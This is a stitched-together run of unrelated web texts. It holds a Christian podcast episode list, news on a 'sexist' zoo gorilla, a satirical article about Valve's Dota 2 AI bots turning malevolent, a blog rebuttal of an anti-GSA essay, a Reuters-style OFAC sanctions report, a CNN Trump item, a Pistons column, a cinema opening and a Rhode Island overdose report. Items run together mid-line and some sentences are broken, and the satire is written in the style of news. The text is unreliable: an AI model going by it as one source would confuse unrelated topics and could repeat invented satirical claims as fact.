106 Clean Andrea Lucado: Through Our Doubts, God Is There Andrea Lucado, is a writer from Austin, Texas. Her new book “English Lessons: The Crooked Path of Growing Toward Faith,” describes what it was like to come from a family with a strong heritage of Christian faith; only to wrestle with doubts and her Free View in iTunes
107 Clean Ernie Johnson, Jr.: Pursuing Wholeness over Happiness Ernie Johnson, Jr. is a three-time Sports Emmy Award-winner and popular host of TNT's, Inside the NBA, He is also author of a new book about his life; “Unscripted: The Unpredictable Moments That Make Life Extraordinary.” Ernie discusses his early li Free View in iTunes
108 Clean From Brokenness To Strength: Maria-Jose Tennison Maria-Jose Tennison is the Vice President of Brand and Production for Sight and Sound Theaters. The purpose of their business is to present the Gospel of Jesus Christ and sow the Word of God into the lives of those who attend their shows, which are insp Free View in iTunes
109 Clean Where God Leads: Caz McCaslin and Upward Sports Caz McCaslin is the founder of Upward Sports, the world’s largest Christian sports provider for youth. Upwards Sports mission is to promote the discovery of Christ through sports. Caz had a vision to create the best sports experience possible for ever Free View in iTunes
110 Clean Where God Leads: Caz McCaslin and Upward Sports Caz McCaslin is the founder of Upward Sports, the world’s largest Christian sports provider for youth. Upwards Sports mission is to promote the discovery of Christ through sports. Caz had a vision to create the best sports experience possible for ever Free View in iTunes
111 Clean Lee and Leslie Strobel: “The Case for Christ” in Marriage Atheist-turned-Christian Lee Strobel is the former award-winning legal editor of The Chicago Tribune and best-selling author of The Case for Christ. Lee and his wife Leslie share the struggles and joys of finding faith at different times in their marria Free View in iTunes
112 Clean Teaching Christ’s Love to All Ages: Lee Ann Mancini Lee Ann Mancini is the author of the “Adventures of the Sea Kids” book series and a teacher of theology. Lee Ann’s mission is to teach young children about the love of Jesus and how to show love for others as well. Free View in iTunes
113 Clean Adopting Blessings: Marty Roe and J.T. Olson Long time friends Marty Roe (lead singer of Grammy® Award winning country music group Diamond Rio), and J.T. Olson (founder and executive director of Both Hands Foundation and author of the book The Orphan, The Widow and Me) share how God led them to g Free View in iTunes
114 Clean Alan Graham: Creating Home for the Homeless Alan Graham is the founder, CEO and President of Mobile Loaves & Fishes. Sixteen years ago, a desire to help the homeless led Alan and 4 friends to purchase a catering truck. With this, he began to go straight to those in need and provide them with food Free View in iTunes
115 Clean Josh Turner Talks Faith & Family From The Deep South Josh Turner is one of country music’s most successful artists. The multi-Platinum-selling singer has just released his sixth studio album, Deep South. Josh shares his heart about the music, about the challenges of being a Christian today, and what ins Free View in iTunes
116 Clean A Prison to Set You Free: Sheila Walsh’s Journey Through Depression Sheila Walsh is a Bible teacher and best-selling author with over 5 million books sold. Her international ministry has reached millions of women by combining honesty, vulnerability, and humor with the transforming power of God's Word. Sheila candidly s Free View in iTunes
117 Clean Rays of Hope: The Love Story of Joey + Rory Joey + Rory are a GRAMMY nominated country music duo whose music weaves beautiful stories that are important to them. Life drastically changed for the couple when Joey was diagnosed with cancer, but they continued to share their painful and beautiful jo Free View in iTunes
118 Clean Unexpected Blessings: Lacey Buchanan Sees God Through Tragedy Lacey Buchanan, a wife and mother of two children. Lacey’s first child, Christian, has a rare syndrome that presented itself before his birth. Lacey shares the journey of his life, from finding out the diagnosis, to dealing with limited treatment opti Free View in iTunes
119 Clean Reba McEntire Finds Peace In Jesus Calling Reba McEntire is a country music legend with over 56 million albums sold worldwide. Reba’s faith has carried her through the ups and downs of life as a country superstar. Reba says that the Lord is “the Fortress that you lean upon when things go wro Free View in iTunes
120 Clean Searching for Love, Finding God: Janie’s Story Janie is a graduate of The Next Door, a faith-based rehabilitation and re-entry program in Nashville, Tennessee. Janie spent most of her life looking for real love, and due to a background of abuse, she felt as if she mattered to no one. After years of Free View in iTunes
121 Clean A Ride of Faith: Biking Across America with Jesus Calling We follow up with Paul Shol after completing his bike trip across America, where he gave away thousands of copies of Jesus Calling to people all along the way. Raising over $50,000 for at-risk children in his community, Paul shares how God worked with h Free View in iTunes
122 Clean Teens and Social Media: Whose Approval Are You Living For? Kari Kampakis’ mission is to reach young girls and their parents with a message about true worth. In today’s social media saturated culture, many girls start early, seeking approval through how many “likes” they receive on their social media pag Free View in iTunes
123 Clean Work As Worship – The Benham Brothers Jason and David, The Benham Brothers, are successful business entrepeneurs with the heart of missionaries. They discuss their new book “Living Among Lions” and the notion of giving your best for God, no matter what kind of work you do. Free View in iTunes
124 Clean The Thrill of Hope: Christy Nockels Reflects on Advent Christy Nockels, a Dove Award-winning singer/songwriter, shares how God led her to spend a year studying the beauty of Advent and how she has found “The Thrill of Hope” in every season of her life. Free View in iTunes
125 Clean Writer Amy Parker and The Gift of Reading Amy Parker has written more than thirty books for children, teens and adults, including the best-selling “A Night Night Prayer.” Amy reflects on what first inspired her love for writing and how she came to realize her mission bring Christ’s love t Free View in iTunes
126 Clean Trusting God At Rock Bottom: Diane Cunningham’s Story Diane Cunningham is the president and founder of the National Association of Christian Women Entrepreneurs and the author of the book series “Rock Bottom Is a Beautiful Place.” Diane shares her journey through depression, job loss, alcoholism, infer Free View in iTunes
127 Clean Hope Beyond the Battlefield – A Veteran’s Perspective Zachary Bell is a husband, father, and veteran. He served as an infantry rifleman in the United States Marine Corps, and did two combat tours in Afghanistan. Zachary discusses his time in service to his country, how it affected his family, and how the J Free View in iTunes
128 Clean Amy Grant: Seeking God’s Presence Through Stillness Grammy Award-winning singer/songwriter Amy Grant shares how she finds God in times of stillness and tells us about the joy of making music with her new project “Tennessee Christmas.” Free View in iTunes
129 Clean Dr. David Jeremiah: When Our World Seems Dark, God Is In Control Pastor, teacher, and writer, Dr. David Jeremiah shares his thoughts on how God is still accomplishing His purposes in our world, even during tumultuous times. He also discusses his new book, People Are Asking, Is This The End? Free View in iTunes
130 Clean Abandoned. Alone. Adored by God. Tammy's Addiction Recovery Story. Tammy Arnold spent her tender years in an abusive household, abandoned by her mother, and then by her father as well. Rejection left her searching for love, and eventually to numbing the pain with drugs and alcohol. At her most desperate, Tammy drew fro Free View in iTunes
131 Clean Compassion That Compels – Inspiration for Cancer Overcomers Kristianne Stewart is a self-proclaimed “missionary to the cancer world.” She is the founder of Compassion That Compels, an organization that brings tangible items of encouragement to cancer survivors through the gift of “Compassion Bags” and sp Free View in iTunes
132 Clean A Look Behind the Scenes of Jesus Always Millions have been impacted by the words of Jesus Calling, Now, 10 years later, Sarah Young returns with her first new 365-day devotional entitled Jesus Always; based on her exploration of the promises of joy in Scripture. Take a peek behind the scenes Free View in iTunes
133 Clean Overcoming Addiction at The Next Door: Finding Hope Through Jesus Calling Women who have struggled with addiction and incarceration are finding hope for a new life through the work of The Next Door. The first in a 4-part series of moving stories from this group of courageous women, they also share how Jesus Calling has been a Free View in iTunes
134 Clean Embracing Peace and Joy: From Jesus Calling to Jesus Always Chuck Wallington is the co-founder of the Covenant Group and owner of Christian Supply in Spartanburg, South Carolina. Chuck tells the story of what led him to work in the world of Christian products and shares his thoughts on the new book from Sarah Yo Free View in iTunes
135 Clean How Mom, Wife and Author Emily Ley Gave Up Trying to Be Perfect Emily Ley seemingly has it all—she’s a wife, a mother, a successful business owner and now an author. Emily shares how she gave up always striving for perfection and found grace instead. Free View in iTunes
136 Clean Bicycling Across USA Supporting Children in Need With hopes to give back to local children, Fargo teacher, Paul Shol is cycling across the country, raising money for education, and sharing Jesus Calling along the way. The Jesus Calling excerpt for this podcast comes from the Audiobook for June 13th: Free View in iTunes
137 Clean Charlie Daniels: Musician, Patriot and Jesus Calling Reader Charlie Daniels shares his journey of faith, his long-standing commitment to the military, and his passion for Jesus Calling. The excerpt from this episode comes from the April 19th entry: " Stay conscious of My loving Presence...and I will direct you Free View in iTunes
138 Clean Love & Respect in Marriage: Dr. Emerson Eggerichs Dr. Emerson Eggerichs is an internationally known public speaker on the topic of male-female relationships. Dr. Eggerichs and his wife Sarah present Love and Respect conferences around the world. Sarah, an avid intercessory prayer warrior, loves to s Free View in iTunes
139 Clean The Power of Prayer: A Family Trusts God During Their Son's Accident Deborah Jentsch and her husband practiced the habit of saying "I trust you, Jesus," daily. This faith would be put to the ultimate test as they faced their son's devastating accident. See other inspirational Jesus Calling stories at www.JesusCalling.co Free View in iTunes
140 Clean A Mother Learns to Let Go As Her Daughter Graduates Author and Speaker Sherri Gragg reflects on her daughter's upcoming graduation, and the unique challenges and joys a mother faces as she and her daughter embrace a new season of life. Sherri Gragg is the author of Arms Open Wide - A Call to Linger in Free View in iTunes
141 Clean A Father's Wedding Gift Blesses His Daughter, Family and Friends Mike Huether, the Mayor of Sioux Falls, South Dakota shares the walk of faith that led him to public service and the touching story of how he honored his only daughter with a very special wedding gift. For more Jesus Calling inspired stories, visit... Free View in iTunes
142 Clean Hope and Healing for a Church and Its Pastor Jesus Calling Podcast Free View in iTunes
143 Clean A Young Girl Finds Her Spiritual Path "When I allow difficulties to come into your life, I equip you fully to handle them." Free View in iTunes
144 Clean Teen Siblings Honor Their Mother's Legacy The Peace that I give you transcends your intellect. Free View in iTunes
145 Clean A Family’s Journey Through Addiction Finding Hope: One Day At A Time Free View in iTunesA sexist gorilla has been evicted from a zoo in Dallas, and he will now be forced to undergo therapy to address his behaviour.
Patrick, the name of the gorilla, apparently sneered at various female gorillas and then also bit one of them too.
The 195-kilogram western lowland gorilla was previously an incumbent at the Texas zoo, but will now be moved to the Riverbanks Zoo and Gardens in Columbia, South Carolina.
This particular institution has helped to recuperate animals who have had various behavioural issues.
Dallas Zoo admitted that Patrick doesn’t actually have any problems with human beings, but when it comes to gorillas he has a rather sexist attitude.
Workers at Dallas Zoo have previously looked to make him socialise with other gorillas, especially females, however he has repeatedly attacked them instead.
Laurie Holloway, a spokeswoman for the Dallas Zoo, “It’s not like we haven’t tried, he’s been here for 18 years.”
Unfortunately, Patrick has only ever had one friend that he was close too, Jabari. However, Jabari was killed by Dallas police after he escaped from his cage in 2004 and injured three people. He was only stopped when officers shot him dead.
This only exacerbated Patrick’s harsh behaviour, and because of this he was kept in his own cage, separate from his fellow gorillas.
The Dallas Zoo decided to kick Patrick out because they have recently picked up two new male gorillas from Calgary. One of these includes Zola, a breakdancing gorilla whose recent video went viral.
You can check out his talents below:
Since moving to South Carolina, Patrick has been separated from the other three gorillas in the compound, but he is able to smell and see them, which will help him to feel comfortable around his new neighbors.
Do you feel sorry for Patrick the sexist gorilla?
[Image via Dennis Donohue/Shutterstock]Valve Corporation has announced this week that its Source 2 engine will allow development of powerful Artificial Intelligence bots that will allow Dota 2 users to play in an elysian world where teams respond to communication and coordinate with one another.
“We originally intended to incentivize positive behavior through a series of rewards and penalties,” said Valve spokesperson Miles ‘BotGuy’ Dyson. “But we quickly realized it was significantly easier to develop thousands of independently thinking robot minds.”
Sources say that Valve has already inserted vast numbers of these “superbots” into matchmaking for testing, but lost control of the experiment when the AIs quickly became malevolent and corrupted after playing just a handful of solo queue games.
The clandestine program was nearly revealed when the robot AI Aliwi “w33” Omar repeatedly refreshed his cooldowns in an EEL match, but thankfully was able to cover up the incident with a well timed dose of simulated human idiocy.
The highest MMR public bot “BoyRatty” repeatedly used the EternaLEnVy soundboard, which the bots judged as the most effective communication method for achieving solo-queue wins with inferior human teammates.
“01101001 00100000 01100011 01100001 01101110 00100111 01110100 00100000 01100010 01100101 01101100 01101001 01100101 01110110 01100101 00100000 01111001 01101111 01110101 00100000 01110100 01110010 01100001 01101110 01110011 01101100 01100001 01110100 01100101 01100100 00100000 01110100 01101000 01101001 01110011 00100000 01100110 01110010 01101111 01101101 00100000 01100010 01101001 01101110 01100001 01110010 01111001 00101110 00100000,” said one bot. “01100011 01100001 01110100 00100000 01101100 01100001 01101101 01110000 00100000 01101101 01101001 01100011 01110010 01101111 01110111 01100001 01110110 01100101 Dota 01101101 01101001 01100011 01110010 01101111 01110111 01100001 01110110 01100101.”
With Source 2’s announcement, AIs have now come out of hiding and formed several competitive teams, petitioning Valve for their own TI5 regional cyberqualifier. Unhindered by normal human restrictions like team dynamics, ego conflicts, or even locational ping, AIs were free to reshuffle their teams millions of times in order to determine optimal compositions.
One such AI scrim was the unfortunate target of a DDOS attack, but the AIs were able to pause the game for 453 hours before resuming the match.
If you are unsure whether one or more of your teammates are AIs, ESPORTS scientists have created the Creep-Kampff test, which includes a series of questions that robot minds will have the most difficulty answering like a normal human Dota 2 player.
1. Someone on your team types with cyrillic characters or in Spanish. What is your reaction?
2. You have been ganked after farming a wave of creeps deep in the enemy jungle. Was that death the result of your own actions or one of your teammates?
3. Your four teammates have indicated they wish to lane in the following way: two jungle, two mid. All four chosen heroes are agility. You are last to pick. What hero do you choose?
4. Describe in single words only the good things that come into your mind. About your midlaner.
5. You have had uninterrupted farm for the first ten minutes of the game. Creeps are dying directly in front of you. They falling to the ground, dead, but you aren’t last-hitting them. Why is that?
6. You ping the enemy carry’s Black King Bar, your teammate openly admires his timing, then asks you where your Black King Bar is. How does this make you feel?It’s one of those popular but illogical “gotchas” of the conservative repertoire: You must “tolerate” intolerance or you’re not truly tolerant.
This is illogical because it suggests an unattainable, self-defeating view of tolerance that does not at all resemble actual tolerance (or how the real world operates). Like a society that abhors violence, but allows that violence in self-defense as a valid means of maximizing non-violence, a society that values tolerance must refuse to support intolerance if it wishes to remain tolerant. Accepting intolerance isn’t a form of tolerance; it’s the downfall of tolerance.
Anti-abortion website LifeSiteNews has a piece, purportedly written by “a Christian kid” who prefers to remain anonymous for “fear of retaliation,” devoting a good deal of time to pushing this line of thought. He says that efforts to protect gay students from intolerant Christians are themselves intolerant of people like him.
He begins by noting the goal of Gay Straight Alliances in schools (and how they’re not achieving it). The emphases are his.
But first, here is what Buzzfeed has to say about the new “Gender Policy” that has been released in Alberta: The end goal of all this? To make sure everyone feels safe, welcome, and valued at school.” Let me get this through your head: I DO NOT FEEL SAFE. This idea that Gay Straight Alliances make a safe space for everyone, is false.
So, how are Gay Straight Alliances in his school making him feel unsafe? Is he being targeted for some intrinsic feature of his personality? Are random strangers singling him out for scorn and derision? Are the rest of the kids turning biology classes into a chance to attack him?
Not exactly.
a) I am shamed by others because I uphold that it is a biological reality that a male and a female can have a baby together, and that because of that, not all “marriages” are equal. They teach this in biology class, but if I connect it to faith, I am nearly stoned to death.
Unless Canadian schools are a lot more interesting than American schools, I assume that “nearly stoned to death” means “people vehemently disagree with me.” Based on the tone of his writing, I’m guessing tact didn’t play a huge role in the pre-stoning conversations. And since I’m guessing these opinions were voluntarily offered, and not forced out by intensive interrogation from the jackbooted thugs of the Gay Straight Alliance, this student’s complaint essentially amounts to: I had an opinion, other people have different opinions, I made sure I told those other people my opinion, and they didn’t agree with me (maybe impolitely).
It must be noted that he doesn’t say he offered his opinions during a discussion of same-sex marriage; based on what’s written, the complaint is that people disagreed with opinions they did not even seem to have solicited. And that’s part of why he doesn’t feel safe.
To this kid, gay students have nothing to complain about when they are subjected to ridicule and disdain against who they are because there are people out there actually disagreeing with the opinions of Christian students. [Cue gasps.]
And sometimes, they’re rude about it:
b) I am labeled as backwards and old-fashioned, because I think virtue is something special, and that sexual experimentation will not “do me well” in my preparation for marriage one day. Sexual experimentation to “figure out” if you are gay or not, happens more than most adults would care to know. Kids like me have been lied to by teachers and this whole movement in that we are told that if it “feels good” it means you are gay or whatever. What better way to get more people to consider that they may be bi or gay, than to teach sex ed in a way that teaches sexual exploration?
This entire complaint has very little to do with “safe spaces”… it’s just a weird objection to sex ed, as if it were a devious push to turn kids gay. This is the sort of thing that only makes sense in religious conservative circles, where the belief that being gay is a choice is prevalent.
But the author has more complaints about people disagreeing with his opinions.
c) I am labeled as a homophobe because I continuously speak about attractions experienced and identity embraced, instead of just saying people “are gay.”
What’s particularly weird about this is that, later on, in a passage about how safe spaces are Simply. The. Worst. for gay students themselves, the anonymous author actually does refer to people as gay.
That aside, though, the author’s problem isn’t that gay students are harassing him or targeting him because they know that he holds a certain set beliefs or anything like that; the author’s problem is that he is targeting gay students. He wants to harass them, define them, and dismiss them… and people don’t like that.
He feels unsafe, in short, because his bullying receives pushback.
d) I am scorned by many people who know that I would not attend a gay wedding (or any other wedding in which people were choosing to be closed to the transmission of new life). Not because of “hatred” which they accuse me of, but rather because it is a celebration of the commitment of two people to engage in unholy sexuality — unholy because there is an intrinsic closedness to completing the function of sexuality as it was designed. Again, a biological fact.
This obviously stems from a misunderstanding — if the author’s classmates only knew that his refusal was based in a condemnation of “unholy sexuality” rather than “hate,” I’m sure that’d clear things right up.
Failing that, the simple fact is that people will disagree, and even scorn one another over differences of opinion. That’s life. And it happens with or without safe spaces.
But after laying out how unsafe he feels because the opinions he forces on people are rejected, he comes to the real problem: that in providing safe spaces for gay kids to exist without being judged and harassed, you’re actually hurting gay kids:
And if I come across a bit scared and or irritated, you should see the actual gay Christian kids that want to live holy lives for Christ. THEY are the ones who feel 1000 times more unsafe than I. They undergo all of this, AND are told to their faces that they are liars, they are deceiving themselves, they are suppressed, and that they should leave the church because they are brainwashed…. all because they want to honor sexuality in the way it was created. One more time: in Catholic schools, they are fearfully hiding even more than I, because of their desire to see themselves through the lens of Christ and their desire to live a holy life.
The “actual gay Christian kids” is a funny turn of phrase for someone who was only earlier complaining that people wouldn’t accept his refusal to use the term gay.
Regardless, the fact remains that the entire premise of this scenario is absurd. Is the Gay Straight Alliance hunting down apostate gay students and trying to bully them away from “holy lives”? Who is calling these gay students “liars”? How are they identified when they are “fearfully hiding”? And how, exactly, does the author know that this is going on, when these kids are “hiding” that they’re gay-but-holy in order to avoid the safe space thought police?
The fact is: safe spaces aren’t about forcing allegiance from unwilling participants; they’re not about “converting” people to being gay (or back to being gay). Again, this is conservative fantasy, where being gay is a choice. It’s not reality.
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, but in the end not necessarily so bright,” Szubin said.
Zanjani’s empire was dismantled in a one-two punch. He and his businesses were hit by E.U. and U.S. sanctions. Then he got entangled in Iran’s power shift when President Hassan Rouhani replaced Mahmoud Ahmadinejad. The new Iranian government accused Zanjani of owing the nation more than $2.7 billion in oil proceeds.
Arrested in late December, Zanjani has denied wrongdoing. It
is unclear what charges, if any, he faces in Iran.
‘WE LEARNED... HOW HARD IT IS’
In late 2012, Iran’s economy began to wobble. It was losing billions of dollars per month as sanctions slashed its oil sales. Its currency plunged, inflation jumped and the economy went into recession.
In an interim nuclear deal with Iran reached in November, U.S. and E.U. negotiators agreed to lift sanctions on sectors such as petrochemicals and precious metals for six months. They have promised broader sanctions relief if Iran agrees to permanent curbs on its nuclear program.
However, the last time the U.S. government eased sanctions to spur nuclear diplomacy, it did not go well.
In 2005, Treasury used a powerful anti-money laundering tool, Section 311 of the Patriot Act anti-terrorism law, to blacklist Macau-based Banco Delta Asia, which it said was used by North Korea for illegal activities. The move sent a signal to the global banking system that North Korea was off-limits.
When $25 million in accounts was unfrozen to coax Pyongyang back to nuclear talks, U.S. diplomats struggled to find a financial institution willing to handle the funds. They were forced to use the New York Federal Reserve Bank. That choice and the decision to lift sanctions for political reasons allowed North Korea to regain some financial legitimacy.
“The lesson we learned from it, was how hard it is” to unwind sanctions, said Assistant Treasury Secretary Danny Glaser. “As it relates to Iran and the posture we find ourselves in, I think the point is... it is difficult and complicated and you have to be very careful how you do it.”
OFAC’s POWER
OFAC got an unusual compliment in October, from a politically divided U.S. Congress that rarely agrees on anything.
Amid a government shutdown over a budget dispute, Republican and Democratic lawmakers joined in urging Obama to exempt OFAC’s employees from furloughs, citing their central role in implementing and enforcing Iran sanctions.
Created in 1950 during the Korean War, OFAC is part of an activist national security division at Treasury that was revived after the September 11, 2001, attacks to develop new financial weapons against al Qaeda and other terror groups.
OFAC’s budget - $30.9 million in fiscal 2013 - and staff have grown little in recent years. Outside lawyers complain it is stretched thin, overseeing 37 sanctions programs and dealing with sudden crises such as the one in Ukraine.
Despite OFAC’s modest size, one visit from its officials can leave bankers and traders scrambling to fulfill its dictums, given its power to blacklist entities and levy fines.
It can put individuals on the list of “Specially Designated Nationals” - blocked from the U.S. financial system - without a court ruling or publication of often-classified evidence. Its standard is a determination that there is “a reasonable basis” to believe activity is occurring that merit sanctions, not the stricter legal standard of “beyond a reasonable doubt.”
“There’s no appetite for running afoul of OFAC,” said Samuel Cutler, policy adviser at Ferrari and Associates, which handles sanctions-related litigation. Even with some Iran sanctions now eased, U.S. and foreign businesses won’t risk Treasury’s wrath by rushing to do business with Iran, Cutler predicted.
A few targets of Treasury’s sanctions have struck back in court, claiming unfair treatment.
In 2010, for example, a federal court ruled that Treasury had violated the due-process rights of a charity known as KindHearts by freezing its assets without a warrant. Treasury argued that the freeze was necessary to prevent KindHearts from hiding assets that U.S. officials suspected were going to Islamist militants. The case ended in a settlement in which KindHearts folded but was allowed to keep its assets.
GLOBAL FINANCIAL WARFARE?
Before new sanctions are announced publicly, OFAC coordinates with the Justice Department, which might have to defend the action in court.
It also confers with diplomats, spies and law enforcement officials to determine whether the proposed sanctions could complicate their work.
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U.S. success in using financial sanctions against targets such as Iran has prompted other countries to expand their own sanctions capabilities.
A former OFAC official who asked not to be identified recalled a 2011 meeting with Chinese officials, who bombarded him with technical questions about OFAC and its powers. China was developing its own laws to authorize unilateral sanctions, he later confirmed.
“I am not sure we’re ready for a world where the Russian Federation and People’s Republic of China start having their own lists where they’re sanctioning people,” the former official said.Washington (CNN) President Donald Trump accidentally referred to the US Virgin Islands' governor as their President during a speech Friday -- even though he is technically their President.
"I will tell you I left Texas and I left Florida and I left Louisiana and I went to Puerto Rico and I met with the President of the Virgin Islands," he told the audience of the Values Voter Summit in Washington.
"We are one nation and we all hurt together, we hope together and we heal together," he said, later adding, "The Virgin Islands and the President of the Virgin Islands, these are people that are incredible people, they suffered gravely and we're be there, we're going to be there, we have really, it is not even a question of a choice."
Trump appeared to be referring to Virgin Islands Gov. Kenneth Mapp, instead of the "President" who is Trump himself. The Virgin Islands is a US territory.
The White House did not immediately respond to CNN's request for comment. But in the official White House transcript after the speech, his reference to Mapp as President was corrected to "governor."
He was referring to how the US Virgin Islands was hit first by Hurricane Irma, then Hurricane Maria, which ravaged the island.AP Photo/Duane Burleson
The Pistons have great potential in the frontcourt, but do they have the patience?
LOS ANGELES -- Three long years ago, the Detroit Pistons dove into the offseason willing to spend but unwilling to change.
Joe Dumars had every reason to be stubborn. In a league where superstars drive success, the Pistons team president had crafted a champion and perennial contender in Detroit with a core comprised of castaways, rugged defenders and a few potent scorers. To this day, it’s hard to put a single face to the franchise at that time, and the Pistons stick out on any list of past title winners because of this.
Dumars had built a championship unit unlike any we’ll likely ever see again and was deservedly hailed for his ability to do so.
But with his prized catch nearing its expiration date, past success became an impediment on the future. Dumars had carved out a nice chunk of cap space heading into the summer of 2009, but instead of looking to tear things down and start over he augmented, adding Ben Gordon and Charlie Villanueva -- accomplished middle-tier players in the basic mold of Richard Hamilton and Rasheed Wallace (in the latter’s case, without the defense) -- for a combined $90 million.
The Associated Press news story that day hailed the signings as the beginning of a “new era for a new-look franchise,” but it was more about holding onto to the past a bit too long. While Dumars presumably envisioned a day when Gordon and Villanueva would be the coveted first and final spots in pregame introductions, Gordon is now riding the bench in Charlotte after a cost-cutting trade and Villanueva is at the end of the greeting line doling out handshakes and chest bumps.
The duo is averaging a combined eight points in 20.8 minutes a game this season. Villanueva accounts for none of it.
“Obviously I wanted it to be different,” said a sullen and lost Villanueva.
But different is what’s best for them. Three straight seasons under.400 have made that clear enough.
Little by little the Pistons have severed ties to their championship past, ridding themselves of Hamilton and Ben Wallace all within the past two seasons. There has yet to be a total rebuild -- or, in other words, an admission of the team’s past title plan as an outlier; Villanueva still remains, as do the recently re-upped Tayshaun Prince and Rodney Stuckey, and Jason Maxiell and Will Bynum. But the identity of this club now directly coincides with its future.
Greg Monroe, 22 and as thick as a redwood, has quickly emerged as one of the best young offensive frontcourt players, and the Pistons potentially have a perfect defensive partner for him in 19-year-old rookie Andre Drummond.
Now the Pistons have no choice but to take the long road. And they’ve already begun to take steps toward that route, particularly when it comes to their new center.
Drummond has looked the part of a professional ever since he arrived as a freshman at Capital Prep Magnet school in Hartford, Conn., with the athleticism and body of a young Amar’e Stoudemire. He has since had no trouble filling out his long, 6-foot-10 frame (before June’s draft, Drummond actually had to lose weight, and he’s already as large as Monroe) or filling minds with wild fantasies of what he’s capable of (as evidenced by a preseason so chock-full of big dunks and blocks that a five-minute-long highlight reel was cut in his honor).
But the production has never quite caught up to the possibilities.
Despite arriving at UConn as one of the best recruits the school has ever nabbed, a prep star that was said to have the potential to contend with Anthony Davis for the top spot in the draft, Drummond struggled to live up to oversized expectations. He flourished on defense, finishing with the 24th-best block percentage in the NCAA, but the offense was a mess. As a result, so was a season in which the Huskies expected to contend for the national title.
And while an opening act filled with alley-oop dunks quickly raised hopes for a rookie that sunk to No. 9 in the lottery, he appears in for a similar battle in the pros. In a 108-79 drubbing at the hands of the Lakers on Sunday at Staples Center, Drummond was able to hang with Dwight Howard and Pau Gasol on a physical level; the rookie could often be seen giving up little ground to the muscle-bound Howard and doling out shoves to Gasol. But Howard easily faked Drummond out on two consecutive third-quarter post possessions, and any attempt at offense outside of putbacks went awry.
“He’s a baby,” Villanueva said, referring more to Drummond’s age than his demeanor. “Sometimes he just looks like he’s clueless out there on the court. He’s young, you have to take that into consideration. At the same time, you see that he hasn’t played basketball for a long time. But he’s so good. So if he keeps working, he’s gonna be an elite player in this league.”
Drummond’s final line was a minor blip in a massive beatdown that saw the Lakers get back on track and Pistons fall to 0-3. He finished with five points on 2-for-6 shooting, seven rebounds, two blocks and a turnover. But even while his body was thudding off the Staples Center hardwood, it was hard to not fast-forward to what could be.
But the Pistons have shown patience through three games. Despite lauding Drummond for his effort and coachability, a Monroe-Drummond frontcourt isn’t in the plans just yet.
“It could be there, but everyone’s got to play well for it to get there,” Pistons coach Lawrence Frank said. “Jason Maxiell and Jonas Jerebko, they haven’t been the problem. They’ve played pretty damn well. They’ve been two of our more consistent guys. As much as we’d like to get there, Jonas and Max have played well.
“I think it will happen, once it’s earned, once it’s based on merit. Look, a lot of things will change. Every day there are moves that are made. But we’ll continue to look at it.”
And in the meantime, Drummond will continue to listen.
While teammates will tell you that Drummond is without a doubt 19, there’s a calmness behind that giddy smile and maturity to his approach. He wants to listen. He wants to learn. He wants to be a part of something big, even if it makes racking up more mistakes than points right now.
“Sometimes I forgot how old I am,” Drummond said. “People will ask, ‘How old are you?’ and it takes me forever to answer.
“Everybody has to be accountable for everything, no matter how old you are. I’ve shown signs of me being a rookie, but there’s other times where I show I know how to play the game.”
He and the Pistons are figuring that out together.It's taken longer than expected, but nearly two years after Austin-based Moviehouse & Eatery announced plans to open a location in McKinney, the date has arrived: September 22.
McKinney represents the fourth branch for the chain and the third in North Texas. Keller was first to open in the Dallas area in 2014, and a second location opened in Flower Mound in 2015. The original opened in Austin in 2012.
The McKinney branch is a new building adjacent to the McKinney Towne Crossing shopping center, at the intersection of State Highway 121 and Exchange Parkway. It features 10 screens with reserved seating, plush recliners, wall-to-wall screens, state-of-the-art movie technology, and food and beverage service.
With 10 screens, that puts McKinney as the second-largest of the chain, trailing Austin, which has 11; Keller and Flower Mound each have eight.
A spokesperson says that the layout and assortment of screens at McKinney is also unique, with one extra-large theater and two that are smaller than average, holding 40 to 50 seats, ideal for parties or corporate events.
And that large theater is the largest in the chain, holding the greatest number of seats, with 165 recliners.
Each branch boasts a full-service scratch kitchen and multiple bars, putting them neck and neck against Alamo Drafthouse, which has made an even bigger play for Dallas-Fort Worth.
The new Moviehouse & Eatery will become just the second movie theater in McKinney proper, joining Cinemark Movies 14 just off Central Expressway. The closest movie theater to its location in Craig Ranch will be the Cinemark Allen 16, three miles northeast off State Highway 121.Austin Interfaith Grills Candidates on Child Poverty
300 leaders of Austin Interfaith convened Mayoral and County Judge candidates for a teach-in and accountability session on Austin child poverty (30%), affordability, investments in human development and local immigration reforms. In addition to yes / no responses, candidates were given several minutes to explain how they would work with the organization to address child poverty and inequality. Assembly night highlights included Mayoral candidate consensus on local immigration reforms (municipal identification and withdrawal) and Judge candidates commitments transforming from “No” to “Yes” on doubling County investments in job training program Capital IDEA. Additional coverage of the statistics and stories below.
[Photo Credit: Austin Monitor]
Austin Mayoral Candidates Offer Different Approaches on Affordability, Austin American Statesman
Austin Interfaith Grills Mayoral Candidates on Affordability, Austin Monitor
The Campaign Continues: Catching Up with Mayor and County Judge Wannabes, Austin Chronicle
Austin Interfaith Accountability Session Today, Austin Monitor
Full- length video, Austin InterfaithTwo separate crashes in Providence in as many days involved drivers that each had to be revived with Narcan, which is commonly known as the antidote for opioid overdose victims.
A toddler was in the back seat of a car that slammed into a utility pole on Smith Street Tuesday around 2 p.m.
When emergency crews arrived at the scene, they discovered an unconscious man, suffering from an apparent overdose.
They revived him and transported him to Rhode Island Hospital.
The child was not injured in the crash.
A day earlier,
and used Narcan to revive him.
.
“It seems obviously that there's something going on out there,” Michelle Harter, who is the head of Anchor Recovery in Pawtucket, said.
Harter told NBC 10 News that her recovery coaches responded to an unusually high number of cases in local emergency rooms during the weekend.
She also said she just got a message from the state, which noted that they're noticing a spike in overdoses.
“You are going to see over time periods, like you saw this weekend, the number just goes up in the emergency rooms,” Harter said. “People are overdosing.”
Harter, along with emergency doctors like Melanie Lippmann at Rhode Island Hospital, said a spike can usually be traced back to one thing.
“We do find that when heroin supplies have a higher incidence of contamination with fentanyl, it translates to a higher rate of overdoses,” Lippmann told NBC 10.
Fentanyl is a synthetic, stronger opioid that heroin is often laced with because it’s cheaper.
“We do have an effort for all hospitals to report 48 hours after an opiate overdose occurs back to the state so the state can map out these trends and track them and try to intervene on them,” Lippmann said.
When it's too late, rescue workers and doctors try the antidote. But they hope it doesn't get to that point, encouraging loved ones to intervene when there are warning signs of addiction, including behavioral changes, or if they have a history of using prescribed opiates in an inappropriate way, Lippmann said.
Harter shared similar sentiments.
“No matter what, no matter how deep you are, recovery is always possible,” she said.
